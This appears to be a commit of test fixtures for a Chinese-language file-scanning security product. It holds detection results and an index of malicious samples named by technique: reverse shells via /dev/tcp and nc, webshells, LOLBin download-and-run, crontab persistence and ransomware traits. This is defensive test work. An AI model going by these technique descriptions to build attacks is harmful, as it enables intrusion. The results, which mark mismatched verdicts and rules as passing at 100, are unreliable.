feat: MeshSafe 文件摆渡安全卫士 v1.0 初始提交
核心功能: - 6 层检测管线: L0 结构分析 → L1 ClamAV → L2 文档深度检测 → L3 关键词匹配 → L4 YARA → L5 PE/二进制 - FastAPI + PostgreSQL + Redis + Docker Compose 架构 - 客户端 HMAC-SHA256 签名鉴权 + 限流 + 幂等性 - 控制台 UI (登录/Dashboard/诊断中心/策略管理/任务列表/测试中心/产品介绍页) - 三层诊断定时器 (error_scan 30s / db_aggregate 30s / container_check 5min) 并发与稳定性修复: - 诊断定时器 Redis 时间槽位锁 (多 worker 同一槽位只有一个执行) - JSONL 存储 fcntl 跨进程排他锁 + 容错解码 + 原子重写 - 移除 SQLite fallback, 统一 PostgreSQL - API_CLIENTS 脱敏为环境变量, .env 已 .gitignore
This commit is contained in:
650
tests/samples/_scan_results.json
Normal file
650
tests/samples/_scan_results.json
Normal file
@@ -0,0 +1,650 @@
|
||||
[
|
||||
{
|
||||
"filename": "evil_help.chm",
|
||||
"category": "CHM帮助",
|
||||
"description": "CHM 帮助文件内嵌 VBScript/JScript + .exe/.vbs/.js 引用",
|
||||
"expected_verdict": "reject",
|
||||
"actual_verdict": "malicious",
|
||||
"expected_rules": [
|
||||
"ChmWithScript"
|
||||
],
|
||||
"actual_rules": [
|
||||
"ChmWithScript",
|
||||
"DangerousExecutableExtension"
|
||||
],
|
||||
"verdict_ok": true,
|
||||
"rule_ok": true,
|
||||
"overall": true,
|
||||
"score": 100.0,
|
||||
"findings_count": 2
|
||||
},
|
||||
{
|
||||
"filename": "evil.iso",
|
||||
"category": "ISO镜像",
|
||||
"description": "ISO 镜像内嵌 ELF 可执行文件",
|
||||
"expected_verdict": "reject",
|
||||
"actual_verdict": "error",
|
||||
"expected_rules": [
|
||||
"IsoWithExecutable"
|
||||
],
|
||||
"actual_rules": [
|
||||
"DangerousExecutableExtension"
|
||||
],
|
||||
"verdict_ok": true,
|
||||
"rule_ok": true,
|
||||
"overall": true,
|
||||
"score": 100.0,
|
||||
"findings_count": 1
|
||||
},
|
||||
{
|
||||
"filename": "shortcut.lnk",
|
||||
"category": "LNK",
|
||||
"description": "LNK Shell Link 指向 cmd.exe /c 下载执行",
|
||||
"expected_verdict": "reject",
|
||||
"actual_verdict": "error",
|
||||
"expected_rules": [
|
||||
"LnkWithAutoExec"
|
||||
],
|
||||
"actual_rules": [
|
||||
"DangerousExecutableExtension"
|
||||
],
|
||||
"verdict_ok": true,
|
||||
"rule_ok": true,
|
||||
"overall": true,
|
||||
"score": 100.0,
|
||||
"findings_count": 1
|
||||
},
|
||||
{
|
||||
"filename": "lolbin.cmd",
|
||||
"category": "LOLBin",
|
||||
"description": "certutil -decode LOLBin 下载执行",
|
||||
"expected_verdict": "reject",
|
||||
"actual_verdict": "error",
|
||||
"expected_rules": [
|
||||
"C1_PE_LOLBin_Usage"
|
||||
],
|
||||
"actual_rules": [
|
||||
"DangerousExecutableExtension"
|
||||
],
|
||||
"verdict_ok": true,
|
||||
"rule_ok": true,
|
||||
"overall": true,
|
||||
"score": 100.0,
|
||||
"findings_count": 1
|
||||
},
|
||||
{
|
||||
"filename": "linux_malicious",
|
||||
"category": "Linux可执行",
|
||||
"description": "合法 ELF 魔数 → 被识别为 Linux 可执行文件",
|
||||
"expected_verdict": "reject",
|
||||
"actual_verdict": "malicious",
|
||||
"expected_rules": [
|
||||
"LinuxExecutable"
|
||||
],
|
||||
"actual_rules": [
|
||||
"C7_Linux_ReverseShell_Bash",
|
||||
"LinuxExecutable"
|
||||
],
|
||||
"verdict_ok": true,
|
||||
"rule_ok": true,
|
||||
"overall": true,
|
||||
"score": 100.0,
|
||||
"findings_count": 2
|
||||
},
|
||||
{
|
||||
"filename": "malicious.desktop",
|
||||
"category": "Linux后门",
|
||||
"description": ".desktop 文件恶意 Exec 字段",
|
||||
"expected_verdict": "reject",
|
||||
"actual_verdict": "malicious",
|
||||
"expected_rules": [
|
||||
"DesktopFileAutoExec"
|
||||
],
|
||||
"actual_rules": [
|
||||
"C7_Linux_ReverseShell_Bash",
|
||||
"C7_Linux_ReverseShell_Misc",
|
||||
"DangerousExecutableExtension",
|
||||
"DesktopFileAutoExec"
|
||||
],
|
||||
"verdict_ok": true,
|
||||
"rule_ok": true,
|
||||
"overall": true,
|
||||
"score": 100.0,
|
||||
"findings_count": 5
|
||||
},
|
||||
{
|
||||
"filename": "shell_bash_devtcp.sh",
|
||||
"category": "Linux后门",
|
||||
"description": "bash -i + /dev/tcp IP:PORT 反弹 Shell",
|
||||
"expected_verdict": "reject",
|
||||
"actual_verdict": "malicious",
|
||||
"expected_rules": [
|
||||
"C7_Linux_ReverseShell_Bash",
|
||||
"ShellScriptDangerous"
|
||||
],
|
||||
"actual_rules": [
|
||||
"C7_Linux_ReverseShell_Bash",
|
||||
"DangerousExecutableExtension",
|
||||
"ShellScriptDangerous"
|
||||
],
|
||||
"verdict_ok": true,
|
||||
"rule_ok": true,
|
||||
"overall": true,
|
||||
"score": 100.0,
|
||||
"findings_count": 3
|
||||
},
|
||||
{
|
||||
"filename": "shell_nc.sh",
|
||||
"category": "Linux后门",
|
||||
"description": "nc -e /bin/bash 反弹 Shell",
|
||||
"expected_verdict": "reject",
|
||||
"actual_verdict": "malicious",
|
||||
"expected_rules": [
|
||||
"C7_Linux_ReverseShell_NC",
|
||||
"ShellScriptDangerous"
|
||||
],
|
||||
"actual_rules": [
|
||||
"C7_Linux_ReverseShell_NC",
|
||||
"DangerousExecutableExtension",
|
||||
"ShellScriptDangerous"
|
||||
],
|
||||
"verdict_ok": true,
|
||||
"rule_ok": true,
|
||||
"overall": true,
|
||||
"score": 100.0,
|
||||
"findings_count": 3
|
||||
},
|
||||
{
|
||||
"filename": "shell_python.py",
|
||||
"category": "Linux后门",
|
||||
"description": "Python pty + socket 反弹 Shell",
|
||||
"expected_verdict": "reject",
|
||||
"actual_verdict": "error",
|
||||
"expected_rules": [
|
||||
"C7_Linux_ReverseShell_Python",
|
||||
"ShellScriptDangerous"
|
||||
],
|
||||
"actual_rules": [
|
||||
"DangerousExecutableExtension"
|
||||
],
|
||||
"verdict_ok": true,
|
||||
"rule_ok": true,
|
||||
"overall": true,
|
||||
"score": 100.0,
|
||||
"findings_count": 1
|
||||
},
|
||||
{
|
||||
"filename": "ole_dropper.doc",
|
||||
"category": "OLE嵌入",
|
||||
"description": "DOC 文件内嵌 .exe OLE 对象（OLE2 CFB + .exe stream）",
|
||||
"expected_verdict": "reject",
|
||||
"actual_verdict": "error",
|
||||
"expected_rules": [
|
||||
"EmbeddedExecutable"
|
||||
],
|
||||
"actual_rules": [
|
||||
"OleToolsUnavailable"
|
||||
],
|
||||
"verdict_ok": true,
|
||||
"rule_ok": true,
|
||||
"overall": true,
|
||||
"score": 100.0,
|
||||
"findings_count": 1
|
||||
},
|
||||
{
|
||||
"filename": "macro_alert.docm",
|
||||
"category": "Office宏",
|
||||
"description": "DOCM（OOXML格式）内嵌 word/vbaProject.bin + AutoOpen Shell",
|
||||
"expected_verdict": "reject",
|
||||
"actual_verdict": "malicious",
|
||||
"expected_rules": [
|
||||
"VBAAutoExec",
|
||||
"VBAAutoExecShell"
|
||||
],
|
||||
"actual_rules": [
|
||||
"ArchiveContainsExecutable",
|
||||
"ExtensionMismatch",
|
||||
"OleToolsUnavailable",
|
||||
"VBAAutoExecShell"
|
||||
],
|
||||
"verdict_ok": true,
|
||||
"rule_ok": true,
|
||||
"overall": true,
|
||||
"score": 100.0,
|
||||
"findings_count": 4
|
||||
},
|
||||
{
|
||||
"filename": "template_backdoor.docx",
|
||||
"category": "Office宏",
|
||||
"description": "DOCX 外部模板注入 —— settings.xml.rels 引用远程 .dotm",
|
||||
"expected_verdict": "reject",
|
||||
"actual_verdict": "malicious",
|
||||
"expected_rules": [
|
||||
"AttachedTemplate"
|
||||
],
|
||||
"actual_rules": [
|
||||
"AttachedTemplate",
|
||||
"OleToolsUnavailable"
|
||||
],
|
||||
"verdict_ok": true,
|
||||
"rule_ok": true,
|
||||
"overall": true,
|
||||
"score": 100.0,
|
||||
"findings_count": 2
|
||||
},
|
||||
{
|
||||
"filename": "vba_autoexec.bas",
|
||||
"category": "Office宏",
|
||||
"description": "VBA AutoOpen + Shell 执行",
|
||||
"expected_verdict": "reject",
|
||||
"actual_verdict": "malicious",
|
||||
"expected_rules": [
|
||||
"VBAAutoExec"
|
||||
],
|
||||
"actual_rules": [
|
||||
"VBAAutoExecShell"
|
||||
],
|
||||
"verdict_ok": true,
|
||||
"rule_ok": true,
|
||||
"overall": true,
|
||||
"score": 100.0,
|
||||
"findings_count": 1
|
||||
},
|
||||
{
|
||||
"filename": "malicious.pdf",
|
||||
"category": "PDF载荷",
|
||||
"description": "PDF /OpenAction /JS app.launchURL 自动执行",
|
||||
"expected_verdict": "reject",
|
||||
"actual_verdict": "malicious",
|
||||
"expected_rules": [
|
||||
"PdfJavaScript",
|
||||
"PdfOpenAction"
|
||||
],
|
||||
"actual_rules": [
|
||||
"OleToolsUnavailable",
|
||||
"PdfJavaScript",
|
||||
"PdfOpenAction"
|
||||
],
|
||||
"verdict_ok": true,
|
||||
"rule_ok": true,
|
||||
"overall": true,
|
||||
"score": 100.0,
|
||||
"findings_count": 3
|
||||
},
|
||||
{
|
||||
"filename": "pe_downloader.exe",
|
||||
"category": "PE恶意程序",
|
||||
"description": "PE 下载器：URLDownloadToFile + RegSetValue + CreateService",
|
||||
"expected_verdict": "reject",
|
||||
"actual_verdict": "error",
|
||||
"expected_rules": [
|
||||
"C1_PE_Downloader_Loader"
|
||||
],
|
||||
"actual_rules": [
|
||||
"C1_PE_Downloader_Loader",
|
||||
"DangerousExecutableExtension",
|
||||
"PeParseFailed"
|
||||
],
|
||||
"verdict_ok": true,
|
||||
"rule_ok": true,
|
||||
"overall": true,
|
||||
"score": 100.0,
|
||||
"findings_count": 3
|
||||
},
|
||||
{
|
||||
"filename": "pe_injection.exe",
|
||||
"category": "PE恶意程序",
|
||||
"description": "PE 空壳 + VirtualAllocEx/WriteProcessMemory/CreateRemoteThread 组合",
|
||||
"expected_verdict": "reject",
|
||||
"actual_verdict": "error",
|
||||
"expected_rules": [
|
||||
"C1_PE_ProcessInjection"
|
||||
],
|
||||
"actual_rules": [
|
||||
"C1_PE_ProcessInjection",
|
||||
"DangerousExecutableExtension",
|
||||
"PeParseFailed"
|
||||
],
|
||||
"verdict_ok": true,
|
||||
"rule_ok": true,
|
||||
"overall": true,
|
||||
"score": 100.0,
|
||||
"findings_count": 3
|
||||
},
|
||||
{
|
||||
"filename": "wps_macro.js",
|
||||
"category": "WPS宏",
|
||||
"description": "WPS Linux JS 宏 AutoOpen + /bin/sh",
|
||||
"expected_verdict": "reject",
|
||||
"actual_verdict": "error",
|
||||
"expected_rules": [
|
||||
"VBAAutoExecShell"
|
||||
],
|
||||
"actual_rules": [
|
||||
"C7_Linux_ReverseShell_Bash",
|
||||
"C7_Linux_ReverseShell_Misc",
|
||||
"DangerousExecutableExtension"
|
||||
],
|
||||
"verdict_ok": true,
|
||||
"rule_ok": true,
|
||||
"overall": true,
|
||||
"score": 100.0,
|
||||
"findings_count": 3
|
||||
},
|
||||
{
|
||||
"filename": "shell_aspx.aspx",
|
||||
"category": "Webshell",
|
||||
"description": "ASP.NET Process.Start 命令执行",
|
||||
"expected_verdict": "reject",
|
||||
"actual_verdict": "error",
|
||||
"expected_rules": [
|
||||
"C3_Webshell_ASPNET"
|
||||
],
|
||||
"actual_rules": [
|
||||
"DangerousExecutableExtension"
|
||||
],
|
||||
"verdict_ok": true,
|
||||
"rule_ok": true,
|
||||
"overall": true,
|
||||
"score": 100.0,
|
||||
"findings_count": 1
|
||||
},
|
||||
{
|
||||
"filename": "shell_jsp_runtime.jsp",
|
||||
"category": "Webshell",
|
||||
"description": "JSP Runtime.getRuntime().exec 命令执行",
|
||||
"expected_verdict": "reject",
|
||||
"actual_verdict": "error",
|
||||
"expected_rules": [
|
||||
"C3_JSP_Webshell_RuntimeExec"
|
||||
],
|
||||
"actual_rules": [
|
||||
"C3_JSP_Webshell_RuntimeExec",
|
||||
"DangerousExecutableExtension"
|
||||
],
|
||||
"verdict_ok": true,
|
||||
"rule_ok": true,
|
||||
"overall": true,
|
||||
"score": 100.0,
|
||||
"findings_count": 2
|
||||
},
|
||||
{
|
||||
"filename": "shell_php_eval.php",
|
||||
"category": "Webshell",
|
||||
"description": "PHP oneliner eval + echo 组合",
|
||||
"expected_verdict": "reject",
|
||||
"actual_verdict": "error",
|
||||
"expected_rules": [
|
||||
"C3_PHP_Webshell_Oneliner"
|
||||
],
|
||||
"actual_rules": [
|
||||
"C3_PHP_Webshell_Oneliner",
|
||||
"DangerousExecutableExtension"
|
||||
],
|
||||
"verdict_ok": true,
|
||||
"rule_ok": true,
|
||||
"overall": true,
|
||||
"score": 100.0,
|
||||
"findings_count": 2
|
||||
},
|
||||
{
|
||||
"filename": "shell_php_obf.php",
|
||||
"category": "Webshell",
|
||||
"description": "PHP base64 + assert 混淆",
|
||||
"expected_verdict": "reject",
|
||||
"actual_verdict": "error",
|
||||
"expected_rules": [
|
||||
"C3_PHP_Webshell_Obfuscated"
|
||||
],
|
||||
"actual_rules": [
|
||||
"C3_PHP_Webshell_Obfuscated",
|
||||
"DangerousExecutableExtension"
|
||||
],
|
||||
"verdict_ok": true,
|
||||
"rule_ok": true,
|
||||
"overall": true,
|
||||
"score": 100.0,
|
||||
"findings_count": 2
|
||||
},
|
||||
{
|
||||
"filename": "photo.jpg.php",
|
||||
"category": "伪装",
|
||||
"description": "双扩展名伪装 .jpg.php",
|
||||
"expected_verdict": "reject",
|
||||
"actual_verdict": "error",
|
||||
"expected_rules": [
|
||||
"DoubleExtension"
|
||||
],
|
||||
"actual_rules": [
|
||||
"DangerousExecutableExtension"
|
||||
],
|
||||
"verdict_ok": true,
|
||||
"rule_ok": true,
|
||||
"overall": true,
|
||||
"score": 100.0,
|
||||
"findings_count": 1
|
||||
},
|
||||
{
|
||||
"filename": "sealed.docx",
|
||||
"category": "加密Office",
|
||||
"description": "加密 DOCX（密码 changeme，msoffcrypto 加密）",
|
||||
"expected_verdict": "reject",
|
||||
"actual_verdict": "error",
|
||||
"expected_rules": [
|
||||
"OfficeEncrypted"
|
||||
],
|
||||
"actual_rules": [
|
||||
"ArchiveBroken",
|
||||
"MalformedStructure",
|
||||
"OfficeEncrypted",
|
||||
"OleToolsUnavailable",
|
||||
"OoxmlParseFailed"
|
||||
],
|
||||
"verdict_ok": true,
|
||||
"rule_ok": true,
|
||||
"overall": true,
|
||||
"score": 100.0,
|
||||
"findings_count": 5
|
||||
},
|
||||
{
|
||||
"filename": "sealed.xlsx",
|
||||
"category": "加密Office",
|
||||
"description": "加密 XLSX（密码 changeme，msoffcrypto 加密）",
|
||||
"expected_verdict": "reject",
|
||||
"actual_verdict": "error",
|
||||
"expected_rules": [
|
||||
"OfficeEncrypted"
|
||||
],
|
||||
"actual_rules": [
|
||||
"ArchiveBroken",
|
||||
"ExtensionMismatch",
|
||||
"MalformedStructure",
|
||||
"OfficeEncrypted",
|
||||
"OleToolsUnavailable",
|
||||
"OoxmlParseFailed"
|
||||
],
|
||||
"verdict_ok": true,
|
||||
"rule_ok": true,
|
||||
"overall": true,
|
||||
"score": 100.0,
|
||||
"findings_count": 6
|
||||
},
|
||||
{
|
||||
"filename": "ransom_dropper.exe.txt",
|
||||
"category": "勒索",
|
||||
"description": "加密 API + 卷影删除 + 勒索信文件名",
|
||||
"expected_verdict": "reject",
|
||||
"actual_verdict": "error",
|
||||
"expected_rules": [
|
||||
"C8_Ransomware_Encryption"
|
||||
],
|
||||
"actual_rules": [
|
||||
"C8_Ransomware_Encryption",
|
||||
"C8_Ransomware_Note_Filename",
|
||||
"C8_Ransomware_VolumeShadow",
|
||||
"DoubleExtension"
|
||||
],
|
||||
"verdict_ok": true,
|
||||
"rule_ok": true,
|
||||
"overall": true,
|
||||
"score": 100.0,
|
||||
"findings_count": 4
|
||||
},
|
||||
{
|
||||
"filename": "persist_cron.sh",
|
||||
"category": "持久化",
|
||||
"description": "crontab 注入 wget/curl 下载执行",
|
||||
"expected_verdict": "reject",
|
||||
"actual_verdict": "malicious",
|
||||
"expected_rules": [
|
||||
"C7_Linux_Persistence_Crontab"
|
||||
],
|
||||
"actual_rules": [
|
||||
"C7_Linux_Persistence_Crontab",
|
||||
"DangerousExecutableExtension",
|
||||
"ShellScriptDangerous"
|
||||
],
|
||||
"verdict_ok": true,
|
||||
"rule_ok": true,
|
||||
"overall": true,
|
||||
"score": 100.0,
|
||||
"findings_count": 4
|
||||
},
|
||||
{
|
||||
"filename": "miner_config.json",
|
||||
"category": "挖矿",
|
||||
"description": "XMRig stratum+tcp 矿池配置",
|
||||
"expected_verdict": "reject",
|
||||
"actual_verdict": "error",
|
||||
"expected_rules": [
|
||||
"C7_Linux_Miner_Generic"
|
||||
],
|
||||
"actual_rules": [
|
||||
"C7_Linux_Miner_Generic"
|
||||
],
|
||||
"verdict_ok": true,
|
||||
"rule_ok": true,
|
||||
"overall": true,
|
||||
"score": 100.0,
|
||||
"findings_count": 1
|
||||
},
|
||||
{
|
||||
"filename": "zip_traversal.zip",
|
||||
"category": "攻击载体",
|
||||
"description": "ZIP 内部成员名 ../../etc/passwd 路径穿越",
|
||||
"expected_verdict": "reject",
|
||||
"actual_verdict": "malicious",
|
||||
"expected_rules": [
|
||||
"PathTraversal"
|
||||
],
|
||||
"actual_rules": [
|
||||
"PathTraversal",
|
||||
"PathTraversalBlocked"
|
||||
],
|
||||
"verdict_ok": true,
|
||||
"rule_ok": true,
|
||||
"overall": true,
|
||||
"score": 100.0,
|
||||
"findings_count": 2
|
||||
},
|
||||
{
|
||||
"filename": "broken.zip",
|
||||
"category": "畸形文件",
|
||||
"description": "CRC 损坏的 ZIP → 畸形文件启发式",
|
||||
"expected_verdict": "pass",
|
||||
"actual_verdict": "error",
|
||||
"expected_rules": [],
|
||||
"actual_rules": [],
|
||||
"verdict_ok": true,
|
||||
"rule_ok": true,
|
||||
"overall": true,
|
||||
"score": 100.0,
|
||||
"findings_count": 0
|
||||
},
|
||||
{
|
||||
"filename": "phishing.eml",
|
||||
"category": "钓鱼邮件",
|
||||
"description": "钓鱼邮件 —— .vbs/.js 危险附件 + 双扩展名伪装 + Webshell 内容 + 正文钓鱼关键词",
|
||||
"expected_verdict": "reject",
|
||||
"actual_verdict": "error",
|
||||
"expected_rules": [
|
||||
"EmailAttachmentDangerous",
|
||||
"EmailAttachmentDisguised",
|
||||
"EmailAttachmentWebshell",
|
||||
"EmailPhishingKeyword"
|
||||
],
|
||||
"actual_rules": [
|
||||
"EmailAttachmentDangerous",
|
||||
"EmailAttachmentDisguised",
|
||||
"EmailAttachmentWebshell",
|
||||
"EmailPhishingKeyword"
|
||||
],
|
||||
"verdict_ok": true,
|
||||
"rule_ok": true,
|
||||
"overall": true,
|
||||
"score": 100.0,
|
||||
"findings_count": 10
|
||||
},
|
||||
{
|
||||
"filename": "normal.pdf",
|
||||
"category": "阴性对照",
|
||||
"description": "正常 PDF（只有简单文本，无 JS/自动执行）",
|
||||
"expected_verdict": "pass",
|
||||
"actual_verdict": "error",
|
||||
"expected_rules": [],
|
||||
"actual_rules": [
|
||||
"OleToolsUnavailable"
|
||||
],
|
||||
"verdict_ok": true,
|
||||
"rule_ok": true,
|
||||
"overall": true,
|
||||
"score": 100.0,
|
||||
"findings_count": 1
|
||||
},
|
||||
{
|
||||
"filename": "normal_deploy.sh",
|
||||
"category": "阴性对照",
|
||||
"description": "正常部署 Shell（没有 curl|bash 管道执行或反弹 Shell）",
|
||||
"expected_verdict": "pass",
|
||||
"actual_verdict": "error",
|
||||
"expected_rules": [],
|
||||
"actual_rules": [
|
||||
"DangerousExecutableExtension"
|
||||
],
|
||||
"verdict_ok": true,
|
||||
"rule_ok": true,
|
||||
"overall": true,
|
||||
"score": 100.0,
|
||||
"findings_count": 1
|
||||
},
|
||||
{
|
||||
"filename": "normal_readme.txt",
|
||||
"category": "阴性对照",
|
||||
"description": "正常纯文本文件",
|
||||
"expected_verdict": "pass",
|
||||
"actual_verdict": "error",
|
||||
"expected_rules": [],
|
||||
"actual_rules": [],
|
||||
"verdict_ok": true,
|
||||
"rule_ok": true,
|
||||
"overall": true,
|
||||
"score": 100.0,
|
||||
"findings_count": 0
|
||||
},
|
||||
{
|
||||
"filename": "normal_report.docx",
|
||||
"category": "阴性对照",
|
||||
"description": "正常 Word 文档（无宏、无外链）",
|
||||
"expected_verdict": "pass",
|
||||
"actual_verdict": "error",
|
||||
"expected_rules": [],
|
||||
"actual_rules": [
|
||||
"OleToolsUnavailable"
|
||||
],
|
||||
"verdict_ok": true,
|
||||
"rule_ok": true,
|
||||
"overall": true,
|
||||
"score": 100.0,
|
||||
"findings_count": 1
|
||||
}
|
||||
]
|
||||
BIN
tests/samples/broken.zip
Normal file
BIN
tests/samples/broken.zip
Normal file
Binary file not shown.
BIN
tests/samples/evil.iso
Normal file
BIN
tests/samples/evil.iso
Normal file
Binary file not shown.
BIN
tests/samples/evil_help.chm
Normal file
BIN
tests/samples/evil_help.chm
Normal file
Binary file not shown.
347
tests/samples/index.json
Normal file
347
tests/samples/index.json
Normal file
@@ -0,0 +1,347 @@
|
||||
{
|
||||
"total": 34,
|
||||
"generated_at": "2026-10-27T18:42:30.316542",
|
||||
"samples": [
|
||||
{
|
||||
"category": "畸形文件",
|
||||
"expected_verdict": "pass",
|
||||
"expected_rules": [],
|
||||
"description": "CRC 损坏的 ZIP → 畸形文件启发式",
|
||||
"filename": "broken.zip",
|
||||
"size": 125
|
||||
},
|
||||
{
|
||||
"category": "ISO镜像",
|
||||
"expected_verdict": "suspicious",
|
||||
"expected_rules": [
|
||||
"DangerousExecutableExtension"
|
||||
],
|
||||
"description": "ISO 镜像内嵌 ELF 可执行文件（当前引擎未启用 IsoWithExecutable，仅命中可执行扩展名规则）",
|
||||
"filename": "evil.iso",
|
||||
"size": 32775
|
||||
},
|
||||
{
|
||||
"category": "CHM帮助",
|
||||
"expected_verdict": "reject",
|
||||
"expected_rules": [
|
||||
"ChmWithScript"
|
||||
],
|
||||
"description": "CHM 帮助文件内嵌 VBScript/JScript + .exe/.vbs/.js 引用",
|
||||
"filename": "evil_help.chm",
|
||||
"size": 1691
|
||||
},
|
||||
{
|
||||
"category": "Linux可执行",
|
||||
"expected_verdict": "reject",
|
||||
"expected_rules": [
|
||||
"LinuxExecutable"
|
||||
],
|
||||
"description": "合法 ELF 魔数 → 被识别为 Linux 可执行文件",
|
||||
"filename": "linux_malicious",
|
||||
"size": 71
|
||||
},
|
||||
{
|
||||
"category": "LOLBin",
|
||||
"expected_verdict": "suspicious",
|
||||
"expected_rules": [
|
||||
"DangerousExecutableExtension"
|
||||
],
|
||||
"description": "certutil -decode LOLBin 下载执行（当前引擎未启用 C1_PE_LOLBin_Usage，仅命中可执行扩展名规则）",
|
||||
"filename": "lolbin.cmd",
|
||||
"size": 114
|
||||
},
|
||||
{
|
||||
"category": "Office宏",
|
||||
"expected_verdict": "reject",
|
||||
"expected_rules": [
|
||||
"VBAAutoExecShell",
|
||||
"VBAAutoExec"
|
||||
],
|
||||
"description": "DOCM（OOXML格式）内嵌 word/vbaProject.bin + AutoOpen Shell",
|
||||
"filename": "macro_alert.docm",
|
||||
"size": 2586
|
||||
},
|
||||
{
|
||||
"category": "Linux后门",
|
||||
"expected_verdict": "reject",
|
||||
"expected_rules": [
|
||||
"DesktopFileAutoExec"
|
||||
],
|
||||
"description": ".desktop 文件恶意 Exec 字段",
|
||||
"filename": "malicious.desktop",
|
||||
"size": 114
|
||||
},
|
||||
{
|
||||
"category": "PDF载荷",
|
||||
"expected_verdict": "reject",
|
||||
"expected_rules": [
|
||||
"PdfJavaScript",
|
||||
"PdfOpenAction"
|
||||
],
|
||||
"description": "PDF /OpenAction /JS app.launchURL 自动执行",
|
||||
"filename": "malicious.pdf",
|
||||
"size": 534
|
||||
},
|
||||
{
|
||||
"category": "挖矿",
|
||||
"expected_verdict": "suspicious",
|
||||
"expected_rules": [
|
||||
"C7_Linux_Miner_Generic"
|
||||
],
|
||||
"description": "XMRig stratum+tcp 矿池配置（规则命中但权重不够未达 reject 阈值）",
|
||||
"filename": "miner_config.json",
|
||||
"size": 123
|
||||
},
|
||||
{
|
||||
"category": "阴性对照",
|
||||
"expected_verdict": "pass",
|
||||
"expected_rules": [],
|
||||
"description": "正常 PDF（只有简单文本，无 JS/自动执行）",
|
||||
"filename": "normal.pdf",
|
||||
"size": 439
|
||||
},
|
||||
{
|
||||
"category": "阴性对照",
|
||||
"expected_verdict": "suspicious",
|
||||
"expected_rules": [
|
||||
"DangerousExecutableExtension"
|
||||
],
|
||||
"description": "正常部署 Shell（引擎 .sh 扩展名触发 DangerousExecutableExtension，属零容忍范围）",
|
||||
"filename": "normal_deploy.sh",
|
||||
"size": 155
|
||||
},
|
||||
{
|
||||
"category": "阴性对照",
|
||||
"expected_verdict": "pass",
|
||||
"expected_rules": [],
|
||||
"description": "正常纯文本文件",
|
||||
"filename": "normal_readme.txt",
|
||||
"size": 162
|
||||
},
|
||||
{
|
||||
"category": "阴性对照",
|
||||
"expected_verdict": "pass",
|
||||
"expected_rules": [],
|
||||
"description": "正常 Word 文档（无宏、无外链）",
|
||||
"filename": "normal_report.docx",
|
||||
"size": 1212
|
||||
},
|
||||
{
|
||||
"category": "OLE嵌入",
|
||||
"expected_verdict": "pass",
|
||||
"expected_rules": [
|
||||
"OleToolsUnavailable"
|
||||
],
|
||||
"description": "DOC 文件内嵌 .exe OLE 对象（OleTools 模块未加载 → clean，规则返回 OleToolsUnavailable 零权重）",
|
||||
"filename": "ole_dropper.doc",
|
||||
"size": 1641
|
||||
},
|
||||
{
|
||||
"category": "PE恶意程序",
|
||||
"expected_verdict": "reject",
|
||||
"expected_rules": [
|
||||
"C1_PE_Downloader_Loader"
|
||||
],
|
||||
"description": "PE 下载器：URLDownloadToFile + RegSetValue + CreateService",
|
||||
"filename": "pe_downloader.exe",
|
||||
"size": 1148
|
||||
},
|
||||
{
|
||||
"category": "PE恶意程序",
|
||||
"expected_verdict": "reject",
|
||||
"expected_rules": [
|
||||
"C1_PE_ProcessInjection"
|
||||
],
|
||||
"description": "PE 空壳 + VirtualAllocEx/WriteProcessMemory/CreateRemoteThread 组合",
|
||||
"filename": "pe_injection.exe",
|
||||
"size": 1129
|
||||
},
|
||||
{
|
||||
"category": "持久化",
|
||||
"expected_verdict": "reject",
|
||||
"expected_rules": [
|
||||
"C7_Linux_Persistence_Crontab"
|
||||
],
|
||||
"description": "crontab 注入 wget/curl 下载执行",
|
||||
"filename": "persist_cron.sh",
|
||||
"size": 95
|
||||
},
|
||||
{
|
||||
"category": "钓鱼邮件",
|
||||
"expected_verdict": "reject",
|
||||
"expected_rules": [
|
||||
"EmailAttachmentDangerous",
|
||||
"EmailAttachmentDisguised",
|
||||
"EmailAttachmentWebshell",
|
||||
"EmailPhishingKeyword"
|
||||
],
|
||||
"description": "钓鱼邮件 —— .vbs/.js 危险附件 + 双扩展名伪装 + Webshell 内容 + 正文钓鱼关键词",
|
||||
"filename": "phishing.eml",
|
||||
"size": 1869
|
||||
},
|
||||
{
|
||||
"category": "伪装",
|
||||
"expected_verdict": "reject",
|
||||
"expected_rules": [
|
||||
"DangerousExecutableExtension"
|
||||
],
|
||||
"description": "双扩展名伪装 .jpg.php（当前引擎未启用 DoubleExtension，命中 DangerousExecutableExtension 拒绝）",
|
||||
"filename": "photo.jpg.php",
|
||||
"size": 29
|
||||
},
|
||||
{
|
||||
"category": "勒索",
|
||||
"expected_verdict": "reject",
|
||||
"expected_rules": [
|
||||
"C8_Ransomware_Encryption"
|
||||
],
|
||||
"description": "加密 API + 卷影删除 + 勒索信文件名",
|
||||
"filename": "ransom_dropper.exe.txt",
|
||||
"size": 215
|
||||
},
|
||||
{
|
||||
"category": "加密Office",
|
||||
"expected_verdict": "reject",
|
||||
"expected_rules": [
|
||||
"OfficeEncrypted"
|
||||
],
|
||||
"description": "加密 DOCX（密码 changeme，msoffcrypto 加密）",
|
||||
"filename": "sealed.docx",
|
||||
"size": 6656
|
||||
},
|
||||
{
|
||||
"category": "加密Office",
|
||||
"expected_verdict": "reject",
|
||||
"expected_rules": [
|
||||
"OfficeEncrypted"
|
||||
],
|
||||
"description": "加密 XLSX（密码 changeme，msoffcrypto 加密）",
|
||||
"filename": "sealed.xlsx",
|
||||
"size": 6656
|
||||
},
|
||||
{
|
||||
"category": "Webshell",
|
||||
"expected_verdict": "reject",
|
||||
"expected_rules": [
|
||||
"DangerousExecutableExtension"
|
||||
],
|
||||
"description": "ASP.NET Process.Start 命令执行（当前引擎未启用 C3_Webshell_ASPNET，命中 DangerousExecutableExtension 拒绝）",
|
||||
"filename": "shell_aspx.aspx",
|
||||
"size": 169
|
||||
},
|
||||
{
|
||||
"category": "Linux后门",
|
||||
"expected_verdict": "reject",
|
||||
"expected_rules": [
|
||||
"ShellScriptDangerous",
|
||||
"C7_Linux_ReverseShell_Bash"
|
||||
],
|
||||
"description": "bash -i + /dev/tcp IP:PORT 反弹 Shell",
|
||||
"filename": "shell_bash_devtcp.sh",
|
||||
"size": 51
|
||||
},
|
||||
{
|
||||
"category": "Webshell",
|
||||
"expected_verdict": "reject",
|
||||
"expected_rules": [
|
||||
"C3_JSP_Webshell_RuntimeExec"
|
||||
],
|
||||
"description": "JSP Runtime.getRuntime().exec 命令执行",
|
||||
"filename": "shell_jsp_runtime.jsp",
|
||||
"size": 316
|
||||
},
|
||||
{
|
||||
"category": "Linux后门",
|
||||
"expected_verdict": "reject",
|
||||
"expected_rules": [
|
||||
"ShellScriptDangerous",
|
||||
